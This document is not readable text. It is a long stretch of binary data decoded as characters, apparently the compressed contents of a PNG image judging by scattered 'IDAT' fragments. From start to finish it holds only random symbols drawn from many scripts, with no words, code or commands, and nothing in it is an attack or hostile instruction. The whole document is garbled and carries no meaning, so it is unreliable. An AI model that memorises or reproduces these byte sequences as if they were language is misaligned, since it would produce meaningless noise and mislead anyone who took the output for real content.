Wdw؀VqMYǾEl	;C4PtIDγU!!u9<]0Aqn’ϛ?9Ϝ?BE\O6gviσe#\Sĩ\>E[	yӉ?2 YanO)2g
Ȉu_
z!ջ<w:9}p?:ur
*6g箪lhGqĺTY防_o»JCv8:ck`DZS^zVJ9BtMŞKၟUyũu?o7^!D[G'"E݋pZm<%"K:Kڋzk.nD='@̓~&L_>'_"S8wpX2J}dO/`Pf=o~w_ѐr#l7	LÿDkWuT
)S/G,ڸ@ [OT^c~Z'
^ڿN(91ӽMJVSk7"wauEy<ŏ?A8'6KzJaV#p.1_)FcK	;.xՖ@k5AԟP/Ln/rQp|Zw?#O4OjxzP.|sVƃG\KayV^s>8]ĎrVO%r	U*OEA{6mڴ
tmk3.+b7dԿܜZY@~kEGtfeD<
u
F33pX2ϯ
MBt_Lij.ȭY/N3iQ	5/*K"(3+qѭO)~7G-ýA)p7"{fZAKBqO4l8H3g)F<`洦9C@n.W/`*BTb^qo7f*^?skɻs_dFUg|C7juN!n-v\SYTzJ(R3G/jo8
q/SuchMWOjU0=;1z0ϙdn/S'04|~Zb@?.<초Q
5_w5?M莥UWֿsG͹|,++3O_q
>Z
j7/V(&<7&RZy
%Tm
GԽtGOW>A5, [G>E5|7(Oe{['> CyxI2pb5)x	+Bt=?
h5mHǥ>u9\j9;[$Cz0~?XdW}~[*y2C5{|S?;~ʰ!WD0R.$l,ȊN0U/9l$ZS%4*h,wu\oa1#
k.V;gp" |+ȵ$aԸp9]5GWXU6˝l)/NnФЬœ±5&]VFzwO,?/5$3Lj~?N%ByD,pjOl*nVfNAA5S(~(ޓ`V{T>J~@ m\AN"twG=5Eڞ}YU)HFjJgu]
7{K1$
߃}6\g\¯GGA{9-H9ɶu)O 6yL/_D<E~Б׉o_GM7.wB[/+pYZSU{p
z0Շ*;:ӦAds^/R->u
6y5] ʈ>ȭiX(<wI&{)2kTT4[GH:Yp?KA_
DRQe͵GUD4W	cEtzy
,v^9!JŽ>1棟+^fv}U)$O+sI?BE?<xZp󓫷'i_H{i{œ']duRI4*zI Wz߿&yQ=CRj/GNֻqK0h	V[׷u'_o5뇄Ę}ne4;ۘD$S8QDqwzfiK\VY'*u=
yנ5}#OiߗcԣVZqwsruGxW`wRu|WCU^mXY.!+p-se~7Uʰ'J2tg(,!A}̚o쑌,z	Jޙy:Acݗ/CW~e9ȃ{<o@CIRUO8|]dγ~T:[5^cR6~~<m|lH7s~>i.,O/bnmS'Q^"pShO2~v~
o}Z͝@oDO[j	w_d܈QV+:
:}a-tVwӭйο.a0jgoJ$?x
;#{YO=l7_z[툺k7̍Ԋp#oQӢzoeWn-EpN٧J]k͹FvrЈuYyB^.$FFEY/>aO $rbq{
տhH(NPΊ
_"laqOG-58oXʦPܭrsH!4:
x͂Cr	07"GuoYso)8{fc}+Wsc:&Kk|
{)?Y7m§|v,nOVz"f]E0a(yt3}qǗmdjoP%8|yM
YRZF(ꚿa TQ(h;?CуÅ'7<W

zOChvʫsMyRNkjqAT	G&ݝ3t*?uƏ[kaC )xҧߴEQdZڂ>}^?*1aoTvOz	^=P߿\!}Jƹ8|슔uV׀TƱAWҘ3uϼOjXRb.<]'%5S)>\}M~:r~gcʾɡ=S(waCϯ5)NҿY"~lՅ6ub~.}oZi5i
7[7R#{cHvݍ蠥8
\W"#V2&	/NwLU'߳{jToo_k`6mSr;`@;(G7W1@.
?|#9L@On>C!G8(TFyWY?ќ"@z6;.>=zU<?'3ÜLWtF0oD=,~+~^OjIeNWt)ug=Ě	5`V^4:0%Q)G|gG:u"Lc+
Bv%&k W_oFe҈`oo޽G¬zf`x+ZBVO

sT_Y<h=WTxt3!o {(~fp }hVRƮUz7ZY=gv;HQv+ /Pwcqh*pTmiJ	
~L|PF`KuT^mv?٬Pf k<Ay
1^oRAOZ#Pkּ4H3V]4}?v2r<%q$>yc&'.-*sJ=TTbYzY.mG*wbO	ADo't	M|?@ѫg{2~Q"}y߳E;դ]Y߉[;.6|<0ÓA7LOOzц>⟳򽋂XYiuM3hN#;?6{o/ˁ0ćmZ.OF3ɭkyޔc4nykPi<{~SwWf|$7قDKzԓUs*d#hDw&{YE\	jd?/IU&{ <Ͽ[)qkM)=C`Jι-(a]@;_ļ;@[yVo)%;\35|o/]*u?o!i!?O4ug<~PwzŻזM9q,3R,,}჌?35in(3_v_7):xzkUQe5p%-lw[ÿ"mLIs0**iAz]ΝyzAIS'BW1
G&Ѣ@)$xMWoD.5p]*{gDe(9q=e[zp7}í3u~/?:ͫ|~>%7@8St0Ss+gMc"Oj/҃B=7=󛿿kx˜ k+1bk΀_^+9T3_gC]2|NO/\]XwO!Ql!5k.00ϭAV?sl +ku	vwU|fn	hݓsKЇBVOTwAnmYghξWsߜF'	s43'fegcKg7
 :>=2¿p{ۛFs6Acy~(A衷J7XYI/k<0hI<EBK]~N	m
o6鿰-'՗RXݿH;
S* 3/T?q$o#U歏"LT/ӧ|?"5?ݚEÙ7RtC8ߏs?p|pd@Y!?Du?t(5Q8^}T%2jѯ&9IHvS+9UsDZ2)_IC=oxwhҪ<Aaݚv&Q*Ĝ֪R%_tCؘVCnlc'ӳ{r8S}jj(O8>8,
h=xOb_+*\=lkojy"`ΩZ|0'b3j?kAjBh~gzL\!e_x)+})
>͵pʿ|2w}Ww䬛'񤆠GKRu_[pUH39Jz"{ڨ7Hၒ	;_T78ߟ==~9y==[&%?tL{y?t7?lWIHܯ)&yO4[ y0oh72@Ef_%6oPtV'B~@pv,3?0YIͧw窔y~OWw}1Jg8=6ڮ0Q!	YC&&Rפ~'G-*~%D?SF&󛔕1䱒LZEMr<b6i; W1U"(Npjf	/V>uĘ4jaQڄD7;Aɣa'ls4
^Z{oQ{a+K<dVdMSE[KEn(iL)E
iMVSnvҴz~q>0O{^`Futo!>+$N7GOrS2!^t ?~-pH4<AFuv6)歏-yk倘&V<PnNS|4CbǺJh۸D[^itt8+?vݿ*5`2FSyͿ:uņ[]A/ū0
Fe{GEMyb\!xPY~dŭ@~S/[s b}lj|&wٷ/252_# '+QOT;@3ɑوaEUGju_9GjmY+6 sZ ߕoߟ}qp7Nzn/0YՒs4W$gaLl~^1?wEiEfClɟBhK0j#062Zٽf*A}?h{~IisF^VFgG)9;x@c֩O
ХŤ<PCYK<D=ߛԶ-Ü?>]e^s	KVqu;Bw<}^lkkO\q'<"T-з>)yL$a7
qX{~{zq׻e}'519k$Bg_mbOҐI-F>)^{g9UƄ#~vW=gmLaQ`t?G^5t۾uTg=2tpjCBD`~&_|Z=,#0h5B=	0&GĚ=4}Z{Dw
8?yس;~"?=xr+|Gg<eoN>F|#PZW_ֳ҂OYG _Z0?1/=0)8I5<L4Ib_OE
}=lz2e{^t
{N|NB槣zk'WѳW})dQ'{c^DJ/yI=IA%`c{.gv8%]4!亜jg&mJW$-{8v ٲO`>H{ϙ3`H/p;ѽ8$kAv{Xxkj0D3;;u])+L_AU{1x飸aoJGZAg%ϝJy/4b{X7'ܾDssE9$/U+/eY-_%]1ŴX}fKAi;u+X,CD9Xsc|eYcVYEx¿B0Tw5̿}uG%pT\NB\!FiV01KF"Ӯ3ŞH	1T2LLJZ5X
̳X<ro`Uxհ]3lG#b,HQ&@'>0sX;EYUllXVgO(XWRu_j?TQc5
P؞Rw瓶lփ}DvT6(zH	yBwgJ.$5Nt?A{"+XwÏCqY4IdU4]&T/8_}&
t;S0}`l	IޟқLYu%1WPSǾo]V^.ԫsG490kS]wj0Ea¤zZt16P^tolQsެLHk^T
T)li)|>oqDH;%(;*dZ	K1".ob|樗z<S}MςW5Y4|O\&$Ե7;wV%:sT
;3:˳9ñz_2:|W9X/Lufty+KeQL_+[h&uaeþTnZ_|a'F8w=&HR%4X=wU%;DŽYc}c3t=SKcWܘW'!pOa{ٰ3K?׊U
f.uH!:OLI2~IJ> r/X>/jQ,f/2b
!4.*RE&RZۇ1	9aݮ?'OMeᅲ*:G&-mC_\~TlήM?
T`)D5o4P3jB}SQZApۙkhɢHº5r`Ilw'oZxzP!g;UVRZoN8[K)YHKZִRaiL%hN_$|xeıBMǍ{f˕GUz 
i(BcZK	}b|7 ]&J]ጀi,.<E#o-̼ܟ-i?A"\@⇐˚NW-'m!0k]dk`D ?1oC@UYhB@?oc4Ib	Od4 Z!|I65)^>O&ؽљA"3{5;◐2I'=46Q)l˓,ah7@|ٷa[;݈~|0 L؋lj տ?T7螽y:*aϮqs
㷉I]^BsÆkG 28aO;~Ov*W"dfUH/o>YޭY۶a6͇&F|:gP@LtHԒ=b g+|&jg(<<EY4/:s:v{P|Ο*FB&^`z&K:6a^tɎ#E1gG^	tA0?Ѱb^Sa}څѾü(7e}[]KJaDq]5ٻ~\y"an,0{k@!W@1b"ٳ}V҇GΩ X,(`T]o#rEAE:{<Ӥۙ_p0ǭS	[K9߽^`7R8j>u_5|Ew!K!^_isrO㾿NLt/z9
_ȩAS-滈Oݺ3L`xu??Ũv9~!pJ?s/\]GCAj]7Yễ'+VzMR>Agu'?[o|P?gq|5?k::J^
C",UgB230<!ŃCYMֽ":q.i}yK"VR{ ~t~Ϙ?7?;@??(~tk{<4~O8bz^1y2QܮQOj_V
ny~Gh@~LS-dvn:8~߃4>rq]@d	է{Bg=/ =/Ѽ˺pNCR(뿪"TA?v"=a]ԣM3'N_:I_ohs6ϸ:.vuKyY&?ǗEk}mk(9<3Hן/Sބ;GS%1mOwo\6x	p*&^mxeо%&g]`xT"_&ly`Gpc-=
gYMG9xoϘDFRPW!-;F`̰M??^ExVfdzwA
|"^D3:?zZ`ߥl)S[
[(R}*zQ$&xo-bg,2ckbNj_d:]lF"֜'e}3<L$Rs֓oѻd3"7Ob{o$5 '	;뻌10=}~y\;2T&t26^<Y !1z!?j.ềwfw/X"kZfY^YOhݦ<el3}==<WX.>&Ի|Qu=V/te*ln_S8t]ve_z1$nTs~v/y߭cOf
!w(:?ةO<nL}e7q}䛔8>bSMRx>l/Tг&f35fKY5ο73^]
|G,5?ǙN=RLN2]8Gw	<Cb3dZu&Pob@p֧(#iP\QC~U_y˽i& 'KnU}+e?1y7IuГjxW}FŃF$6Vs*cL>'N1S/^PلGeZ

M$e"u86A+</?<w=۟hF˺(F@Dd{7Vdw;]EUr"uЯL+^~Ӭ}Dք^/y+a'KU{h?~&Zm)?9^
\;%M"뿫V5'fO.km{uiqobo) 9/S#F:K}4kf()"skvd߉{x׹A'7?<kڼ5ô)4&sMIĝ
xnl6M)#<Tu?bv:3ˋE܅\s[
ۑ̡hMҼPl^ucS27[2^MELz|?s>acb+隹Wg/<
?"SU7 <!9qyw{q1ր^/ݳOJ
Vk>Ѧ$y=]nQ^&
V{K))T.~
>oۯH6Z5D}տN-dH ǷsKhR|8Hd9jFrO w]LzDQwimZXɨ֊MJ棩8j.D5Łwx,DFgzA^^QoG9Ȱ.3:BKvpkkRz3f3!ƛs?&Xъ]d34|S]FשׁNnaU_ЖIOq5 Dd;iD[SYQYWι1v&{zУJT;)N^&R98RP(qvx<ysᾤl![`F~n^8!/ۈBO0FN_kX:2)ߍO	h\)Zyͳ>{&
:SD\S@|u
8/׿?J]/nru5
|b	9?^6ϾıoqoǓe)r^S!*$0?jCH^rHHCS LJy~qժVXKZ>fM_QAFLߞ]9#DŽq{gʏ9o+4Z#o$|tN|Gf=U)+Xw.U]z]lrp`@k*>J6ZP+iZ=L[O .)Վ?]'T#k]35	ų+1GϏh~mjwUͲ<|ɪG@]w/b0gYk;N}_<h=~FW4vh$~SF9ρzwkE1?O1{	w;w2g2#hv_]A	տBDwT6"rX$	yz޿D^1bv΁h**xU(ݿ
k
U:CJ"Ă06Q]aiQbGy^Sl1$y=zSQbK'";?15#̮sFDg?Ƴa=Ǟ0iIÞeX/e}
EGb3AlCx_=Lv(uv15'v[ǿ+_l%x ׌2*cRX}EzPm)[Lr`1ƉƆ::老O@;_/vkB; '˪w)m%xɄ#~!A%?uPlY͏
zA~r=]liN-盰w?Z<*(=v~i<JNRfTl>~^1,/їqȋ`h/w#䛱局8BMW{`G4Zt}ڷ:u:wEƒsܲ41IP.x|wCl()6섞bMY=ߙ`JOA?)l1c[PWS{R
$]`zӬ3<PTԜQ_CRyOpxC-V4+g
g}iNڿ)d H9=jf6;.%b8fLrl
NeUwÖH4uQ݀P]VW]t[ y˘n^d5C_'kbU%.Twކk<`b&T^?JVWȮaj\Vju@%]$nDKĂ_xV?Y7!gtxZ<:TlYj_-PK)cg7IfqIEi85l%, 6HVD?`=.b]Ahe!.BD?Ve&oQY
ܥQ,f[;qG+GNoxAJ'>AZD5Vѯ
=^D`NxH̏ ww^@5WwIY;Y%MXpZȈ_],h?G1
*-z&-]㟸$Wh6o%xeV	r+y?/:fbrˀ+z/]:O<2@u&Ύ$Y3{5!8Bh!bW#jZsF\fg ~LM@J7MĮ19!<-/KߊFyx?4D)C@uY!ou:69yM-c;+#N>+%T*\b!ֽ6J-(6iJF`nGa{=_D*-Q'=-	[ j=?2(NjA1D`}'fULt	[5;ojJp%Oo[{+-y?[@By;> by˗'?w~)G_269cyd_4i7Ee[TwzG"UWGp՟>Ҁ@IDAT~n;ooղv-"w~F;u=Qe^Lbfmܺq6!3_:?gMѱ/'v1G}7.y)y_<|`ʜDŽFԿ%A³P+	B.j[OL?
6;פU])|VwM'-Z,1\41Œ:\Ml@q&'7
kS}cTRL.?ɴFZ׀\xQcPDj|g)Tip	c^5#jJrw6 *e^|t~vd[CU#+zg>%lkeol"l=̅*_kVO)*WqW7*|S[bQ?قQZ	߅ggə9j.IWOofﴚ/cTlj뫊h-E{3`Z=?E7Xw7z|Cg~Mq̟4]yI4y"8xƠG@,l3:SҎO0(xvUu캿Fߍc~"#^A+O	h*35A<́V2Ohufٌ4l1O;.}poGU}{Wjaz(̦9çxR>
|x%LpcʁYʙbG^{Tg]~P&.&㫵gj/(zKɏ3k*GJKf>\F'UZ.l+\$UkPVc=j2#Zg㪻Qx~{3ڏkMceb_Ly}v
ۂ0ٻ&8߃V{shE)#'CNzZ}rplIո?6=VJ@ !ԿċJx|)0`LdCusw,nC8"V>FBaۋAz]
MZo:}PacHEd&= 8G{,'yY'^:pf~sOiuyLǵ(Ƀ>L3?7‰A\)ߨWf٧WŎ71DE&j<S4P婳E{)W
:gWJ[MkRov7)Z.K
hfgFkֱڻ+A$֥j}!@T%̿$1Tem
}71e1v찐c9s}:$Z{DJ8=1ƭ#a};3^FcXSXuݟWYadŸr͘<~
Gse]3y*JL-y4Ժ{tky5t9ً|_WUW])gSL}fճt5,s~Gjs⣇Ko_0;Kܽ
^zV;t]GԾ8?xe~=\sL6=xQbxh\+S)漨ɃIĢF}H`YWk¼Ku%d~_W;,o8/ή>J4~t/,*F"ŸPN?"oiF. և'j3KXnsμ;aߞT)ToL:?Wxhdx~Kk&8JI5#gu|@5/љv"|Cj{c芉>`LН>>c֧2'H%#sT m%Yr伙>3Zŏ#2oUפVf"2_Thnm3j?l,M[>fJsՀ<IU	"n,J%2SĎ.vU&o`^~Fd#9\7][n\cQyц0ǍGM;lImROe@ZN%-9jG9;&!y果J>G`94({gE Pk(#۞gJ5U
{!GU}\aut%:=m-rÿ9b>6Z=,|!sgO`>r1-bBvΪ=lQ^0@/E\o/DI̟W4JZ;8ç|D;u&87m 2laكԚ|gll  8HMbl\6vj$P2]orZ3<,91`xW7G Gl)P3A4NoLPUb*

N[QFFv_BҤ1&d
9Z|jJ'jM]LI`uO{nW
[
L/S]5Xb2iهPܨ;7NRo!K*v!:}~ZǾ1g?kF@!	!Sܬ{Ĭ;TEWbn77dvuG
}*5	VU3Wo%}~Bih=&sCGNL怪d&wi}'.yR?.38sQJwOWGۃx7d^9>3S_PSj6$9ɀ=\(?C,ӚgQ
U+წ	K|s|)=󾳿pw(8_ң1/fm+A4	ubzEE74puWSw뫪}	6׌w۰%P6ۥFɛX_)zb	>RaW' -Щ
f.	ւ52B}hmRY;_N<C!δ-43S.g{|=J°%P.CRo3$^g~#v*#=vςbH:Kר_T#"J":"H^ګ=	@%x\ˀOɇKPc<SJ&4|lE;4+
]SQ@򹷗/5ph|:;X>-#n$8nV\ʺߞVҭq;	_t`~,5z_Xˀ3;ڎ5qbk;7!zVK]tI{wOAښY
MhDVh kXēo^C	ObbI1Ъn
BNN>61@W
xB_?
j_{gzY	1<jq@vsǍxS>8uu,>8!<|_grO'J<ӕ\P\!+ԑ3Ԙ8k/P[qx]v_VkrGy.c
tC	,X?sR>wj~jdS60I;ITƓ_(+a`
TVJ2į^^MWh2}<!_I뚍kF*ol}g!ڊN5<݋Uln3tմU~GByd~=j~=#_;ŶknYU}?_[qS	k~6v[^?@_ʫtwj7=E|Oh|T\-o	)ƺM!kҏ.ˋhw׽iO#1zEHEz:Uqq*&77?;}%[7:pWꞽܙ:N-~ݛqNzko4'L5~%to9N[Z)|bTP(ڢ꿸dXݧ+TWՊLcZ׶v~:}zm#HaK<JRגuW}.Rf|I>C{كO2n@_#EP]*}T@µ|֬'ukQ83y%]l=vA>&'閖Yʹgqm\0VwbV|}pǣ+U;%wswѬ3k'x9{>=߿uhʉ>|3G*OLz3wkӌ}p_d~Qe4NYdo˹U]>ۅlvwƈ4{s-TZ>}mSgg!B/CMCaU=4cqL0V^"`-@_tۋs޳w(Z_l/aUcr+3\"qrYPqtslfPn
6pHΥ]߿m~>4?mDۓ
N+Yd_^FhəפZu#5"T@}w-e頗ŵvM$~O6n;ޢ>gZ讘lڿԞP1GRgnL=w&YRUMrb~Yto*(;:
e
CW/n}*ERg'=פ#	^.5goiNE[ڮ4UO9m	
쮯yW	ϏjG០e?F+vg)g`.1~Yٻ`n&"L6[9W2+|ˉ^ed>#8hͺ_*M[ì`5Ó
kIW'];yNn!X*a7Ȑ:cI9Nl<4r>MlO]v^5o|kVOnW-?H6(آ/SU'K,ۿ(RϠ^٪>C\^,.]~mtգ{oX뷪u$];Z~_\Hanw]ӰŖ'L{DfRj6[snplzRf|ޚ*_Rx	!Rzt5ڋ
[[k@x;ϼu35f	\	Nb驩^gf2X<Sb:<U9UO.k\3?AlcOr"a}\ba:~眗˓Ph;<z$M',	ؚuq^(WnΖ&>C3A.tL&D^_PJFgg/$!™,Sz~*|fzk]9if6ȝ0ٜVP=PD:3"H_EBǿ=$R&W~,w=MEV׶p%0ߙZk?"z<Y/bJe h*:2t֓YX!8Rľ<tWIW;,VISM^9Ϝt
'y!}YpQaB8{b<|85`}嘌kWQsտ14NYړSbfG?u2$[6+	%yqƶǰt*)'HʥIzOj?/]l&y~J3TRm$Lq?UmEql<ޚK#s;ۿ^a|3'!4e_1~<~|:3m?>ˏ:o߄MJܗ;P=@sb*v?	0]	FUj$!60ᗐXg
)Vx_5/j?) vӏjd8ޟ{@!/j!ynoWх#VZNֳ㹵2ҒΜ<zz!tpۏ
OuY0ފgÀ^ҥK>f3;p_b[U3CPܻWQOoY9.[|W\/KbPfFWhP4{R|~`cX=*)}6}vOaN[k߱3X*'̙㾿?ݞI/o~,RRT*;pl/b#wV+_ʏ7
Ξ#z C}I3a炙ݛl
KK=s`=mR.7yC~Zp49?7	WE
?(+><*$[kB~?C߲ԹMS|@ye~KDNb{248ſT1jvFq+RauUE8Z>t'"$᚝9_2Hs~6۳GJgi+PӋDbom5?Jzd_{805kpfs"ԧ.?facQbo-`xn[gL w8+	PQ:G2LiÙԴ}.kg"'@ж9^Ğ/u(]/ņ%*_Ɋ\6vjkOykVz<oY3~g&|3|y33'?8^2"mϮP35+zlANxO|FI] p^o|d;>D_ly`N^ϙ_ai!)gx-c㑃u ϔsFio\hPw	9k`Oǭd
zٯ	WW*3ke:`֣hko1&:]_Y϶;G	B[])[p炗sӿڃx(P03G|&tj
qq{_h,2ocuDe5]RmX;j%+Bov#ww".4|
p{;qSYj5S$iZJijLŜ'>%
٫G"~H-:0[{=}hWQ5'}nm6 LNͻ[Չ!-w;3;G_,謗!-^w9x=<E+܎v%(\u!h'Sfos0W+`+q8\I;T ܳ$,z=rx?=Rۿo`E<>};13CG]S9$d̖Z&,hʑх_]e:_p
$9wWȽ;jGz)V~-o*{O}1|	zfMuob^
Ulm,o5k'Nj맹@UQ)7#T70tr~]HU^@ku"ʧѫ1Pk_=,_}ơSBU"?kǬ0ۇUiD%ITY%쉢zb.fNYcI]Ċ)>]Z6ܣ2F>*OhxjY#OOER2!P1QmXַ@\A8?F|pQqHr-rGϽhV]k}/.QCeߵPF@y<%y7bnm_I`t}^]u=
9Y)WFY"J_9_gϼ/~f^V^gzle}!W^-35}p,oݠS7?DNcOo)
MhV\=t"o0FYu:Vj:wVpq
,$AUV2(KMB8آҷIֿ$ꉃ_+1v^?gW]9`n	Kn)U#B)]/,{f+(m GLWr`F%HV.k뤼j+ń"T¿֭3[עعu]lnVU9<TovGM[	975vsrH*q$b~s6<ǔdӕ'sB<J
tJ;L9ϠZS*=.!enk;B[I*<;xPviXZZg~J?vSſ$$;2.Gc-4Kyzex;xmC;9SpRI@#Z"WO?/8h/>vS 511DR`[~t?=Oa"I/^0F.>}*Ygy~wQPs#o=TNe61Qp?=QI{&PW1u֛kJ
Yg7?dqz34{Eq$>{s=Z=]|bH?e(M$08KJXQmחp^"ep8zԩأ'm	})YV4
LHYÛ#_fؙfϿ=UG6
n8Q*o=/,wZP5S~1bK }|UJw|ۯg?f.t}Bƴb_ǹ~0\V)pBq󜁤J?;sgo]61Uw6WԜ#?
)w"{^<*$rT	ް#W^F{<p_ŝZO_-Fm7nU|bz	kX-{#R{leԚ+JulI5Bq??PXRBU/[?'CATFvmHP,d79BHʬYu)l%{K|
_YTRE5&W@yޘ	tܦܙK'Msonmmjo[/=+C_Y/O@U/5*"yiLJ	/
3TVzuz;!}xv1F_lzz_?1y^cyꌠV,*.ň9>aFɾz}ȱ(f4-k.U<pf.a?+&	dpī<=>2R:?L{k=4o?,ٹg+X:KhMCI=^d>g%2@y!Np{qYW̵O1P{QKsa#*Ofc{mAG=qf8&X}>04Kgi'p5
4Ri?vRfF۪eS3Q;V^qC?~ԀUݚpԀHߡRKFg.b׹<>V/\K>
3
K[Az̦
Ƌޒd^oHh tK*WL9YL˸_rE;yZA(̿mE˘q^߅[MmdsV}?/o:LsWseW'i#j6(LCg/akAN*y&+3	N-=ZR<#gmILp.V_7I#`ԿƶHf+]ňuk,b0Xb6D u}4]}巤Y5i{
}QV}w-s?ϧYc@^>7#U2yQ{וYCY	-$덛9mjB?w0SS&M٬̄Y\Ae>:6o/ԙlw9~* ѻ4<?PfuU᝿;!?I?gOM"WczG].׋;qM1&U7صR'>^~'|O1B'bN/HkDܗ, ^"1_呄bS_^VHl_))&˪|[(68j{7%R|ieqq xrZQUܺU}G/%J{sD7a֘?Oڜ_/V3|[j܎?7C>hmxǹr%<2=Ciӣ
HQް?%JfW#Le>d̓֗gaGGW^pJW}<+M/J84PL"`5<ItKN%p9id3[cwGv!;sUfϿʲ/	Wr۟`8sW}~lQʪ@u<pc+=:C5]Uǂ+V;&Z$\)⃙]z?`1+þ-D{4ɻAJ',a|	T?XO{w}c[BGn ,w{^]àл|	elA͎YrOOf98R~/nwtl
%\ԿNL
*s/yޖ#kL#HW'3Dt_/M_F{V};$~OZþ>`g}Ćc^(z}):0+1Ȓ3ZCi@gK^?|&W<ltj%h
#';Xt
ֽYn6@r1zS:N`;3B6# 
ߘr[:9uw Wg΃{SSwWd-VV|10LdӿYm'燯/@m>"9.snk_d8Uk=g#$"$`}ob	U&+c.J\~~4!eXZmMj?Vh~?/Oݟ~YOvi?_X'>|̂ČEoe_yTro43-5f~'9TYxe-zl7UByɋ~i6`7oi/i[XJD.r>?Dᴁ(Hv8Űʓofn._kU%P1&3I.
UWO,8p)x%	ҁZ_Dj	n}3i:WaPvy.ۚ#f&?qKV%d:x>O`o.bvn	z&(N%-[0IǕ[V	-A	|g>nPf9wBBpoiu鑌9/MnzQ\k
VqRE3-Rs5猜wyq1:=7թtuP<3.qzjliimɎOE*8AiQzMqZ㽼45G-iFI׹OPq
zG|Ff&0=@5k)I%Z}fSmhg2b䞟V_-<Syt9D2$&IyR	F{|R4®>*Ok}qFp[>=?
1_1C|P^WN"VP}6s
*bm߽"):¿t2߸cښ'>	?'"
=Yc(|1Q6"q#y<3E4G;!6̘械9] {4?/uZ>&Os	ok"?ypr˚U_|RX!6ײhԣŸˡgg&NO;O2+0sqx	sgdD'}\MǡFA?{ϊ5pAcPj~m1Lۃz~E1	VU_g|*5Ijsܷ/Ԛf˾ك4bs%,}9;XWg5e\dl=|OsͿ[U.|K_o"zwzN<*9?pW'͟q0Gs;K/cٺ99 >;rh`?3z(ݚ&+{+1*yn
ErwiJk;-k5s'n銔!,yX>QN:S*횰wrb|&sc0^?h
?8`&@ύ@?'7fW[U5Y*H_U`T/\Vr8(n#cLʉgk׃HA* kO܋.'Oۇ5aka߭$9YOU>O}5
ӥAx^IO7]J:F_V_LS
:v>?4ҵT%)tWڽJr(uE`.XؚEƋZYpC~<sjYS&D`{9
2|6u?\xSBNNuN/hr%Ƽ''u3uEwQ2*;(l\k/}Oaϖ1(
Wc!hd
\DYIsh}Jmb F+uY`
:UxAiO70gE5/*8~G30.\~z.@󘤴eVU`kg>dhT%]ظ9ۇZtCb>2!Ao鹷yC7~4t3AC	VyF<|ykep$ÝP5׭~$?ڈ)$eUց}Ma(\z?dxML8W̟K~zi\Z7D	05	{=τ3mMCš!x1;Ws.GB#Z]K40p2$?'%27ǁ36	\]'KW`ǤJ0xTMi
m8l/V
9FQOEmp/KGX[`$85x
e*]eQD3{OgUtwUhP/=#zcJȰ?WP&B%B])(UDZz$"bfv&A:˵WsE2CzU+W6d~#OޫEqqٰO#pЬWəsq0';B<aY%0~›gS]dЪ>@Wt@5D.5~&7Ne{_-^9_ү;7W$O%qEbU1!w<gڻ<|	_ʶ*=9J
'xG@-ɰ1[4]O?wZ`8jOjHx>lG5=SemzWj7([oMυ:3"5OW@[f\`GF0L?XM(4JW@jG<8gy~"?@lRcM	.庸!4՘)"P0iSB5J=*,[^ѻ
'JˀttN.y[

ǿ<uI_76OS>m"·z-cfu>GKȹy㹿 i?G՘
+~/c)@vFLI+l_a38j0ypn%7߹'HeR~uGʅ	$O\StZ_>&՞d^Rιa{ࠆHΥ~tUNmKgKVIE޿93&cy|oY's.:V@hZOUv~keiݕP%P
bB4+d33SF&fYAzweEqT=jl_t;v\Ž)Jc>ڇx.@99EOI%)T(`Ray>йr>G⏟~ t.a2Xf_<Kclx.!֋7B<p1W	1	ϠqAu1u?V(85LӆYŚ`I9}.e/a)t/EI8
~O<0r>|$;74Qnm\L7:Scs,u=ܿ__]IDht+x?FRt$&9
Xz.B̰̏g#\->ygw!Tl?
Hjs:ݷ'H=,q#1AhT:ro?\AoJzq
w-.SCbu|gյlKUP}6^Eu*oѓR:ly#nJĿsu5&ӞY)UE{q1'~Js2sֿv6@EEWnu̍2Ku%Oߟl]ӿ4E9ك[p6sR
!tr$Qnk,WVsei
^)>–B}tSՊw
Uo*ocKf/=H'w?=m- 7޷f8tv.# ){ދv	@ȧ>;tu(@ɱ?F"f)6s	4յwnv#A^ǰKCQ#M)alvzaЌOݫV,uUKAF\oJ~nrl	~0
kFia14E15OWx|֚巐-JRCE.[w/N{'QkI{)@IDAT5uOoupu<%GGJ&"YD{<s\P^V&Y*VE;@/~ʻ%-MK1;ZOF4?g]p._RevUz?^sݙSE)6@s?{b5g
y$ٽ##lJ/~jN|<([~{km
Ta>Mfq/Ĭc򞳣<uF{{NgڹÕ>'VL5?]s=ikVHY@6	S3Y??gw*EYngNî,!ïYWwL?z
|knWާ'23F3ޗk~n鵯RKR(kϬ.?Ma̖#Sː0	2^}b6z}}J)gEؽf/GO%Xw5	Sz“KzrTCR0)׵rRmw%sr(*CEw1KrW9VB'NBYk|zpn_\3-j̮VEv}?
^5C1ÃuԭiA=GXZv=KVuT5-'eF%իhGhJ&Wzkezw;Jo>ڧɆK[bV[ӒjjV=gW@vP<5X3K'\ĮwG}ߩ~-YO.qOKE6y
O,k(es"rAS;gv=3Q,SwyY:|`sӆk1j[@!vF_{D8fNh^h-?UP^gU)r;
hnf0\y1zAk~( 3
aY~A3k1C/52ߓ5>Zc+s㢤!˙BE?7!ĹI,wWq@i1Ą2.,FU֙ݼ4&l 2NZq[><':9WP|lA6߈$!H!G
)",k|| =X'OxjF?60)&ع%Կ>eܣ׀[b:GW!U>W{.a~?-?/{)"zF}Υ	ct
]O:hmDS{Gpdvw:kU_@r
v͔*lywF*3!&G} /;a68չVD0ҿLM4plדXM{M[Ux6{~a"Wu5:n.B+9Jk$Z}e]%U,~@3\?yg\P}GC~,ڟɻ5ߟȱƻRwlʦJw~Z%>MJCx^mY#fkF<Ix0CƀUbNA	ZAp:@MVЃNz̷Y)G͉HJ/ =i}mu;
Eg!2B OpTDA+HtkƬ,
ċ$)ZGj8
yg/oYKO-LdLP㋳!	_RW{E?'?@";
\=id
k["Md&NԞlCg5wV{|ͦԒ9iQiy)i|mRCXLPO*R}ThAFiOhʋ!Y{<#*IbZPjRcv[):3d\)ת̎¼_7N<6U3xj~lL[*gy{P}WJkd70oU7 "ſj܊91h>b	k{=P;oG
A^uȨuN\RsiF9ӕg9eeW&<yUlj\!G'`h#PҒ$G~>"Iis:$/Jy0rD"ffO9NI4$݈QSAO%.))]i+#BW?ەq@֚dr%s7ͯB€
`m`2O5uXZ90	/U^Du'EugxOt{Th;L긗 ~:F#\v1@1߬N¿-5^9Χ~~gPK]V
'P+MF5$Ln#bѢH
IΌsk/ʵ0BN_+m{l:I?%OG`ҸXf 5.(yCv~FuտKa6rkCtUH#T5yV	+Mjƫ_11{t'Ǟ*'g@,hV'kYӺVՆ9YSye(|M'59.IIep=P?Bdrr_VDs=r1~4R{<?{b
